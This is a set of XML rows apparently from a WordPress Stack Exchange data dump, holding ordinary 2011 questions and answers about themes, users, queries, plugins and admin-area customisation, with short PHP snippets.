  <row Id="25016" PostTypeId="2" ParentId="25014" CreationDate="2011-08-04T22:56:29.307" Score="2" ViewCount="" Body="&lt;p&gt;That will work fine - just make sure they all have read and write access to that shared folder. The symlink command should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ln -s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;StackOverflow question: &lt;a href=&quot;http://stackoverflow.com/questions/997007/can-two-different-wordpress-blogs-on-the-same-server-use-a-common-theme-folder&quot;&gt;Can two different WordPress blogs on the same server use a common theme folder?&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-04T22:56:29.307" CommentCount="1" />
  <row Id="25017" PostTypeId="2" ParentId="24940" CreationDate="2011-08-04T22:57:47.833" Score="1" ViewCount="" Body="&lt;p&gt;The easiest &amp;amp; most sensible way I can think of, if you want the theme and plugin to be as independent as possible, is to copy the custom page template files from your plugin's directory to the current theme directory when the plugin is activated, and delete them when the plugin is deactivated, using &lt;code&gt;register_activation_hook()&lt;/code&gt; and &lt;code&gt;register_deactivation_hook()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you wouldn't have to mess with the template dropdown in the page editor, and you wouldn't have to hook into &lt;code&gt;template_redirect&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-04T22:57:47.833" />
  <row Id="25018" PostTypeId="2" ParentId="25005" CreationDate="2011-08-04T23:04:42.780" Score="-1" ViewCount="" Body="&lt;p&gt;In you index.php, add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(the_title() == 'media_links') { ?&amp;gt; ... &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;around all the code that echos the page elements.&lt;/p&gt;&#xA;" OwnerUserId="7524" LastActivityDate="2011-08-04T23:04:42.780" CommentCount="1" />
  <row Id="25019" PostTypeId="2" ParentId="25005" CreationDate="2011-08-04T23:30:04.997" Score="0" ViewCount="" Body="&lt;p&gt;If you want to keep the loop to only the post_type &lt;code&gt;post&lt;/code&gt; on certain URLs, like your home page, try this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('parse_query','_action_parse_query');&#xA;function _action_parse_query(&amp;amp;$q){&#xA;    //$q is an instance of WP_Query passed by reference&#xA;    if (! is_home()) return; //we only want to restrict on the home page&#xA;    $q-&amp;gt;query_vars['post_type'] = 'post';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7568" LastActivityDate="2011-08-04T23:30:04.997" />
  <row Id="25020" PostTypeId="1" AcceptedAnswerId="25023" CreationDate="2011-08-04T23:38:31.107" Score="0" ViewCount="37" Body="&lt;p&gt;I'm trying to make a table of users by role type. What is the best-practices method of getting the user id? My goal is to print each users first &amp;amp; last names, username and email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$get_admins = array(&#xA;    'blog_id' =&amp;gt; $GLOBALS['blog_id'],&#xA;    'role' =&amp;gt; 'administrator',&#xA;);&#xA;&#xA;$blogusers = get_users($get_admins);&#xA;foreach ($blogusers as $user) { &#xA;$userid = get_userdata($bloguser-&amp;gt;user_id);&#xA;$user_info = get_userdata($userid);&#xA;&#xA;    echo '&amp;lt;tr&amp;gt;';&#xA;        echo '&amp;lt;td&amp;gt;'. $user_info-&amp;gt;user_firstname .'&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td&amp;gt;'. $user_info-&amp;gt;last_name .'&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td&amp;gt;'. $user-&amp;gt;user_login .'&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td&amp;gt;'. $user-&amp;gt;user_email .'&amp;lt;/td&amp;gt;';&#xA;    echo '&amp;lt;/tr&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;note: In my example above getting the user id does not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Codex reference: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_users&quot; rel=&quot;nofollow&quot;&gt;get_users()&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1057" LastEditorUserId="1057" LastEditorDisplayName="" LastEditDate="2011-08-05T00:01:16.373" LastActivityDate="2011-08-05T00:01:16.373" Title="Best way to get user id for get_users function?" Tags="&lt;users&gt;&lt;get-users&gt;" AnswerCount="1" />
  <row Id="25021" PostTypeId="1" AcceptedAnswerId="25042" CreationDate="2011-08-04T23:40:17.937" Score="2" ViewCount="34" Body="&lt;p&gt;I've been developing a WordPress plugin for a friend who needs something completely out-of-the-box, at least what WordPress is cornerned. Now, I could use the WordPress plugin repository to host this, but I've already hosted this project on Google Code and was wondering if there was any fancy code which would make WordPress check for updates from that repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel this plugin isn't really for the general WordPress crowd and don't want to clutter the directory. So I was wondering if this was possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Davey&lt;/p&gt;&#xA;" OwnerUserId="7306" LastActivityDate="2011-08-05T08:45:33.663" Title="Hosting plugin Google Code with auto update?" Tags="&lt;plugins&gt;&lt;directory&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25022" PostTypeId="1" AcceptedAnswerId="25426" CreationDate="2011-08-04T23:48:06.083" Score="0" ViewCount="22" Body="&lt;p&gt;My site works with phrases and texts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one category, the users send statements and debate about it.&#xA;In another category, are sent statements and debate about them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to show only the title of the post into a certain category, since they are not phrases and content needs, just the title.&#xA;in another category, the pots are usually shown, with title and content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as might be the code in single.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are in category X displays content and title&#xA;Y if the category content is not displayed, only the title&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2011-08-09T14:23:09.303" Title="display only the title of the post into a certain category" Tags="&lt;posts&gt;&lt;title&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="25023" PostTypeId="2" ParentId="25020" CreationDate="2011-08-04T23:48:14.520" Score="2" ViewCount="" Body="&lt;p&gt;Your code doesn't work because you're using &lt;code&gt;$bloguser&lt;/code&gt; instead of &lt;code&gt;$user&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there's no point in calling get_userdata() since get_users() already returns user objects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($blogusers as $user) {&#xA;    echo '&amp;lt;tr&amp;gt;';&#xA;        echo '&amp;lt;td&amp;gt;'. $user-&amp;gt;first_name .'&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td&amp;gt;'. $user-&amp;gt;last_name .'&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td&amp;gt;'. $user-&amp;gt;user_login .'&amp;lt;/td&amp;gt;';&#xA;        echo '&amp;lt;td&amp;gt;'. $user-&amp;gt;user_email .'&amp;lt;/td&amp;gt;';&#xA;    echo '&amp;lt;/tr&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-04T23:48:14.520" CommentCount="4" />
  <row Id="25024" PostTypeId="2" ParentId="24829" CreationDate="2011-08-05T00:06:41.277" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;WordThumb is a fork and rewrite of timthumb.php after the timthumb&#xA;  vulnerability. It is fully backwards compatible with timthumb and&#xA;  offers better security and equal or better performance.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://code.google.com/p/wordthumb/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/wordthumb/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7652" LastActivityDate="2011-08-05T00:06:41.277" CommentCount="1" />
  <row Id="25025" PostTypeId="2" ParentId="25014" CreationDate="2011-08-05T00:12:14.517" Score="-1" ViewCount="" Body="&lt;p&gt;Or, do a multisite install -- the themes directory is shared by all sites and each theme can be enabled on a site by site basis.&lt;/p&gt;&#xA;" OwnerUserId="7652" LastActivityDate="2011-08-05T00:12:14.517" CommentCount="1" />
  <row Id="25026" PostTypeId="2" ParentId="4346" CreationDate="2011-08-05T00:30:54.937" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://awfulcool.com/uncategorized/how-to-create-a-nextgen-gallery-tag-cloud/comment-page-1/#comment-96&quot; rel=&quot;nofollow&quot;&gt;http://awfulcool.com/uncategorized/how-to-create-a-nextgen-gallery-tag-cloud/comment-page-1/#comment-96&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7653" LastActivityDate="2011-08-05T00:30:54.937" />
  <row Id="25027" PostTypeId="1" CreationDate="2011-08-05T00:49:48.417" Score="0" ViewCount="21" Body="&lt;p&gt;I have been following a tutorial, &lt;em&gt;to create a NextGen gallery tag cloud&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://awfulcool.com/uncategorized/how-to-create-a-nextgen-gallery-tag-cloud/comment-page-1/#comment-96&quot; rel=&quot;nofollow&quot;&gt;Tutorial link&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything has been straightforward until I hit the point about page slugs and id's.&#xA;It was this instruction where I became confused &quot;&lt;em&gt;Make note of the page slug and ID. My slug is /tags/, and the page ID is 46.&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page I was viewing, and wanting to gather the &quot;slug&quot; and &quot;page ID&quot; from was a page I created named tags, I had not change any permalink structure, it was all still set on default so the permalink looked like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://localhost:8888/wordpress/?page_id=6&quot; rel=&quot;nofollow&quot;&gt;http://localhost:8888/wordpress/?page_id=6&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Issue: The tags don't show up as links, what might I be missing?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code on my page.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_page('6')) { ?&amp;gt;&#xA;Show photos of:&amp;lt;br/&amp;gt;&amp;lt;ul class=&quot;galtags&quot;&amp;gt;&#xA;&amp;lt;?&#xA;global $wpdb;&#xA;$results = $wpdb-&amp;gt;get_results('SELECT name, slug FROM wp_ngg_tags');&#xA;foreach ($results as $row) {&#xA;&#xA;echo &quot;&amp;lt;li&amp;gt;&amp;lt;a href=http://localhost:8888/wordpress/nggallery/page-6/?page_id=6/&quot;;&#xA;echo $row-&amp;gt;slug;&#xA;echo &quot;&amp;gt;&quot;;&#xA;echo $row-&amp;gt;name;&#xA;echo &quot;&amp;lt;/a&amp;gt; &amp;lt;/li&amp;gt; &quot;;&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7653" LastActivityDate="2011-08-05T00:49:48.417" Title="Conditional Tag With NextGen Gallery tag clouds" Tags="&lt;tags&gt;&lt;links&gt;&lt;plugin-nextgen-gallery&gt;" CommentCount="4" />
  <row Id="25028" PostTypeId="1" CreationDate="2011-08-05T00:53:05.450" Score="-5" ViewCount="14" Body="&lt;p&gt;How to make my blog look good？&#xA;This is about &lt;a href=&quot;http://chloebagblog.com&quot; rel=&quot;nofollow&quot;&gt;chloe bags&lt;/a&gt; blog ,I think it is not good enough ,if you have beautiful theme ,please sent it to me ,find my gmail address,thank you !&lt;/p&gt;&#xA;" OwnerUserId="7654" LastEditorUserId="7654" LastEditorDisplayName="" LastEditDate="2011-08-10T03:38:50.860" LastActivityDate="2011-08-10T03:38:50.860" ClosedDate="2011-08-05T03:43:19.380" Title="how to make my blog look good" Tags="&lt;theme-starkers&gt;" />
  <row Id="25030" PostTypeId="1" CreationDate="2011-08-05T01:53:11.180" Score="0" ViewCount="15" Body="&lt;p&gt;Here I want to have upon activation of my wordpress plugins activation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before Activation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Activate | Edit | Delete&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After Activation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Settings | Edit | Delete&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can this be done in code to add this Menu &lt;/p&gt;&#xA;" OwnerUserId="420" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-08-05T02:25:17.210" LastActivityDate="2011-08-05T02:36:23.730" Title="adding plugin settings link upon activation" Tags="&lt;plugin-development&gt;" AnswerCount="0" CommentCount="1" />
  <row Id="25031" PostTypeId="1" CreationDate="2011-08-05T02:29:26.077" Score="0" ViewCount="24" Body="&lt;p&gt;On my website &lt;a href=&quot;http://filmblurb.org&quot; rel=&quot;nofollow&quot;&gt;http://filmblurb.org&lt;/a&gt;, all the posts and everything on my home page are missing. Can you anybody tell me how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! (If it helps, I'm using Wordpress 3.2.1.)&lt;/p&gt;&#xA;" OwnerUserId="7655" LastActivityDate="2011-09-04T16:42:14.297" Title="Why is my content missing from homepage?" Tags="&lt;posts&gt;&lt;wordpress.org&gt;" AnswerCount="1" />
  <row Id="25033" PostTypeId="2" ParentId="25031" CreationDate="2011-08-05T03:01:45.910" Score="0" ViewCount="" Body="&lt;p&gt;I can see everything fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-try clearing cache in your browser before viewing the updated page. To clear cache in your browser, press clrl+f5 keys simultaneously. Also, try different computer/different browser.&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-08-05T03:01:45.910" />
  <row Id="25034" PostTypeId="1" AcceptedAnswerId="25038" CreationDate="2011-08-05T03:02:36.500" Score="0" ViewCount="32" Body="&lt;p&gt;I would like to remove screen options and help links in my admin area. How to remove that thing?.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what i want to be removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/hR9ik.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-05T07:56:21.880" Title="How to remove screen options and help links in the admin area?" Tags="&lt;wp-admin&gt;&lt;admin&gt;&lt;screen-options&gt;" AnswerCount="1" />
  <row Id="25035" PostTypeId="2" ParentId="24794" CreationDate="2011-08-05T04:27:34.087" Score="0" ViewCount="" Body="&lt;p&gt;Thanks to &lt;a href=&quot;http://druuf.com/&quot; rel=&quot;nofollow&quot;&gt;Ivaylo&lt;/a&gt; for this code, which was based on Bainternet's answer.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first function (&lt;code&gt;get_term_top_most_parent&lt;/code&gt;) accepts a term ID and taxonomy and returns the the term's top-level parent (or the term itself, if it's parentless); the second function (&lt;code&gt;hey_top_parents&lt;/code&gt;) works in the loop, and, given a taxonomy, returns the top-level ancestors of a post's terms.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// determine the topmost parent of a term&#xA;function get_term_top_most_parent($term_id, $taxonomy){&#xA;    // start from the current term&#xA;    $parent  = get_term_by( 'id', $term_id, $taxonomy);&#xA;    // climb up the hierarchy until we reach a term with parent = '0'&#xA;    while ($parent-&amp;gt;parent != '0'){&#xA;        $term_id = $parent-&amp;gt;parent;&#xA;&#xA;        $parent  = get_term_by( 'id', $term_id, $taxonomy);&#xA;    }&#xA;    return $parent;&#xA;}&#xA;&#xA;// so once you have this function you can just loop over the results returned by wp_get_object_terms&#xA;&#xA;function hey_top_parents($taxonomy, $results = 1) {&#xA;    // get terms for current post&#xA;    $terms = wp_get_object_terms( get_the_ID(), $taxonomy );&#xA;    // set vars&#xA;    $top_parent_terms = array();&#xA;    foreach ( $terms as $term ) {&#xA;        //get top level parent&#xA;        $top_parent = get_term_top_most_parent( $term-&amp;gt;term_id, $taxonomy );&#xA;        //check if you have it in your array to only add it once&#xA;        if ( !in_array( $top_parent, $top_parent_terms ) ) {&#xA;            $top_parent_terms[] = $top_parent;&#xA;        }&#xA;    }&#xA;    // build output (the HTML is up to you)&#xA;&#xA;&#xA;    foreach ( $top_parent_terms as $term ) {&#xA;&#xA;          $r = '&amp;lt;ul&amp;gt;';&#xA;          $r .= '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'. get_term_link( $term-&amp;gt;slug, $taxonomy ) . '&quot;&amp;gt;' . $term-&amp;gt;name . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;          $r .= '&amp;lt;/ul&amp;gt;';&#xA;&#xA;    // return the results&#xA;    return $r;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-08-05T04:27:34.087" />
  <row Id="25036" PostTypeId="1" CreationDate="2011-08-05T04:50:54.230" Score="-1" ViewCount="27" Body="&lt;p&gt;I have 2 different Wordpress sites (both running WordPress 3.2.1 and the theme PageLines 1.3.2), but one is using frames at the top level (&lt;a href=&quot;https://skitch.com/chirag/fpi36/frameset-wordpress&quot; rel=&quot;nofollow&quot;&gt;screenshot&lt;/a&gt;) and the other is not. How do I remove the frameset/frames from the Wordpress blog? I can't find the setting anywhere in the Dashboard. Thanks, Chirag&lt;/p&gt;&#xA;" OwnerUserId="7483" LastActivityDate="2011-08-05T04:50:54.230" Title="How do I prevent my Wordpress site from using frames?" Tags="&lt;themes&gt;&lt;dashboard&gt;" CommentCount="2" />
  <row Id="25037" PostTypeId="1" CreationDate="2011-08-05T07:13:56.070" Score="1" ViewCount="23" Body="&lt;p&gt;Where i can find a plug-in that can show in wordpress &quot;/wp-admin/plugin-install.php&quot; the download count of each plug-in?&lt;/p&gt;&#xA;" OwnerUserId="7511" LastActivityDate="2011-08-05T10:55:32.670" Title="A plugin popularity data inside &quot;install new plugin&quot;" Tags="&lt;plugins&gt;&lt;paid-plugins&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="25038" PostTypeId="2" ParentId="25034" CreationDate="2011-08-05T07:56:21.880" Score="1" ViewCount="" Body="&lt;p&gt;There are several plugins that can do that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/adminimize/&quot; rel=&quot;nofollow&quot; title=&quot;Adminimize&quot;&gt;Adminimize&lt;/a&gt;, you can remove it even on role base&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/admin-trim-interface/&quot; rel=&quot;nofollow&quot; title=&quot;Admin Trim Menu&quot;&gt;Admin Trim Menu&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-08-05T07:56:21.880" CommentCount="1" />
  <row Id="25039" PostTypeId="2" ParentId="18091" CreationDate="2011-08-05T08:19:38.833" Score="0" ViewCount="" Body="&lt;p&gt;WPML is better than qTranlate for using wordpress as CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;qTranslate doesn't support Custom Post Type yet.&lt;/p&gt;&#xA;" OwnerUserId="7527" LastActivityDate="2011-08-05T08:19:38.833" />
  <row Id="25040" PostTypeId="1" CreationDate="2011-08-05T08:25:58.860" Score="0" ViewCount="6" Body="&lt;p&gt;I have custom menu page (created using add_menu_page) and for most of the fields a text editor is fine however for one item I really need the visual editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I call it, is there a hook I can use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance - you guys rock!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;G&lt;/p&gt;&#xA;" OwnerUserId="1298" LastActivityDate="2011-08-05T08:25:58.860" Title="Menu Page with Full Editor (add_menu_page)" Tags="&lt;visual-editor&gt;&lt;add-menu-page&gt;" />
  <row Id="25041" PostTypeId="2" ParentId="24947" CreationDate="2011-08-05T08:40:35.867" Score="0" ViewCount="" Body="&lt;p&gt;Here is a very crude script I've knocked up to get what you are after:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require('wp-blog-header.php');&#xA;&#xA;$posts = get_posts('numberposts=-1&amp;amp;order=ASC');&#xA;&#xA;$posts_times = array();&#xA;&#xA;foreach ($posts as $post) {&#xA;    $post_time = strtotime($post-&amp;gt;post_date);&#xA;    $offset = $post_time % (60*60*24);&#xA;    $post_time -= $offset;&#xA;    $posts_times[$post_time]++;&#xA;}&#xA;&#xA;$keys = array_keys($posts_times);&#xA;&#xA;$running_count = 0;&#xA;&#xA;$end_data = array();&#xA;&#xA;for($i = $keys[0]; $i &amp;lt;= $keys[(count($keys)-1)]; $i += (60*60*24)) {&#xA;    $running_count += $posts_times[$i];&#xA;    $end_data[] = array(&#xA;        array(date(&quot;Y&quot;, $i), date(&quot;m&quot;, $i), date(&quot;d&quot;, $i)),&#xA;        $running_count&#xA;    );&#xA;}&#xA;echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;print_r($end_data);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-08-05T08:40:35.867" />
  <row Id="25042" PostTypeId="2" ParentId="25021" CreationDate="2011-08-05T08:45:33.663" Score="3" ViewCount="" Body="&lt;p&gt;Yes, this is possible&#xA;take a look at &lt;a href=&quot;https://plugins.svn.wordpress.org/sitepress-multilingual-cms/trunk/inc/upgrade_plugins.php&quot; rel=&quot;nofollow&quot;&gt;WPML&lt;/a&gt; to see how its done, also there is an an entire chapter in &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470916222&quot; rel=&quot;nofollow&quot;&gt;Professional WordPress Plugin Development&lt;/a&gt; to show you how its done and &lt;a href=&quot;http://www.wrox.com/WileyCDA/WroxTitle/Professional-WordPress-Plugin-Development.productCd-0470916222,descCd-DOWNLOAD.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; is the code that goes with it &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-05T08:45:33.663" CommentCount="1" />
  <row Id="25043" PostTypeId="1" CreationDate="2011-08-05T08:53:55.980" Score="0" ViewCount="35" Body="&lt;p&gt;I want to allow commas in tag names? For example, &lt;code&gt;&quot;hello, world&quot;&lt;/code&gt; or &lt;code&gt;&quot;portland, or&quot;&lt;/code&gt; but Wordpress keeps separating them. I can do it from the categories page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://img839.imageshack.us/img839/6869/picturepp.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it shows up fine. But anything added from the posts sidebar does not show up ok here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://img52.imageshack.us/img52/4950/picture1oax.png&quot; alt=&quot;image&quot; /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some discussion on it here: &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14691&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/14691&lt;/a&gt; but looks like it may not get solved, at least for a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, I'm looking for an easier solution than adding categories from the categories page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried searching plugins, and didn't see any that would be helpful. There are a few that deal with replacing commas with other characters when displaying a list of categories, or tags, but I don't see any plugins that allow the user to replace the default separator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't care if I have to patch the core myself. Ideally I could write a plugin, but after looking through some of the code I can't figure out where this gets handled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have a solution, or tips on what functions and javascript to start hacking? I'm not sure where to start looking in the code.&lt;/p&gt;&#xA;" OwnerUserId="4400" LastEditorUserId="4400" LastEditorDisplayName="" LastEditDate="2011-08-05T23:09:13.710" LastActivityDate="2011-09-05T04:42:56.470" Title="How can I allow commas in tag names?" Tags="&lt;plugins&gt;&lt;categories&gt;&lt;tags&gt;&lt;hierarchical&gt;" AnswerCount="1" />
  <row Id="25044" PostTypeId="1" CreationDate="2011-08-05T09:20:20.950" Score="0" ViewCount="16" Body="&lt;p&gt;As we're evaluating whether we should build a Wordpress plugin and in that context I'm trying to figure out how Wordpress handles script tags in a post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the default setting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7658" LastActivityDate="2011-08-05T10:47:32.880" Title="What's the default setting for including a &lt;script&gt; in a post" Tags="&lt;plugins&gt;&lt;javascript&gt;&lt;scripts&gt;" AnswerCount="1" />
  <row Id="25045" PostTypeId="1" CreationDate="2011-08-05T09:20:24.677" Score="0" ViewCount="18" Body="&lt;p&gt;I am using wp_list_categories to output a custom taxonomy as a menu:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Top Level Taxonomy (when I click this)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sub category 1&lt;/strong&gt; (I want to jump directly to this - with this sub menu option highlighted)&lt;/li&gt;&#xA;&lt;li&gt;Sub category 2&lt;/li&gt;&#xA;&lt;li&gt;Sub category 3&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I click on a top level Taxonomy term I want the page to default to display the first child category instead of all child categories.&lt;/p&gt;&#xA;" OwnerUserId="4316" LastActivityDate="2011-08-05T09:20:24.677" Title="Top level taxonomy to default to first child category instead of listing items from all child categories" Tags="&lt;custom-taxonomy&gt;" />
  <row Id="25046" PostTypeId="1" CreationDate="2011-08-05T09:21:41.900" Score="0" ViewCount="14" Body="&lt;p&gt;Using permalinks in wordpress I am able to access a post via numerous variations of its permalink. &#xA;Changing categories for a post changes the permalink based on my permalink structure which in most cases in correct, but I would like to specify my own permalink structure for specific posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. a post in category a, b and c would have a permalink mysite.com/a/my-post/ but one can also access the post through mysite.com/b/ which is preferable in some cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My idea is to add a filter to the save post function for particular posts based on the meta keys saved with it and change the permalink to one that I prefer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does wordpress store the permalink? And where does it get the permalink from that shows under the post title in the edit post screen?&lt;/p&gt;&#xA;" OwnerUserId="1426" LastActivityDate="2011-08-05T09:21:41.900" Title="how to specify my own permalink" Tags="&lt;permalinks&gt;&lt;post-editor&gt;" />
  <row Id="25048" PostTypeId="2" ParentId="24524" CreationDate="2011-08-05T09:25:35.850" Score="1" ViewCount="" Body="&lt;p&gt;create shortened URL function, then add filter on the_content() to replace all img src URL to shortened URL&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-08-05T09:25:35.850" />
  <row Id="25049" PostTypeId="1" AcceptedAnswerId="25053" CreationDate="2011-08-05T09:34:40.187" Score="0" ViewCount="52" Body="&lt;p&gt;I am trying to run a script when a user publishes / updates a post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the filter:  wp_insert_post_data&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I am having is the script is a php file outside of WordPress but on the same site (It works fine if i go direct to it)  that just needs to be run. I tried to include the file using the filter but that stopped the post being updated for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my current code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function updateFeed( $data , $postarr) {&#xA;   include 'jobsfeed.php';  &#xA;   return $data;&#xA;}&#xA;&#xA;add_filter( 'wp_insert_post_data' , 'updateFeed' , '99', 2 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to be able to run this script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does seem teh file is being run but for some odd reason it is not outputting the custom field values. It is a simple php file with a loop using wp_query and it works fine when I go direct to it.  - any ideas what it could be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Figured out why teh custom post types were not working i had to change how the script retrievd an id. Now I have one final thing to fix for some reason when the script runs when a page is edited the xml output by the script is the previous save data. SO it means i have to press save twice to make my new edits appear. Is it getting the revisions or being triggered too early perhaps?&lt;/p&gt;&#xA;" OwnerUserId="6224" LastEditorUserId="6224" LastEditorDisplayName="" LastEditDate="2011-08-05T16:25:51.653" LastActivityDate="2011-08-05T16:25:51.653" Title="run script on publish" Tags="&lt;hooks&gt;&lt;publish&gt;" AnswerCount="1" FavoriteCount="1" />
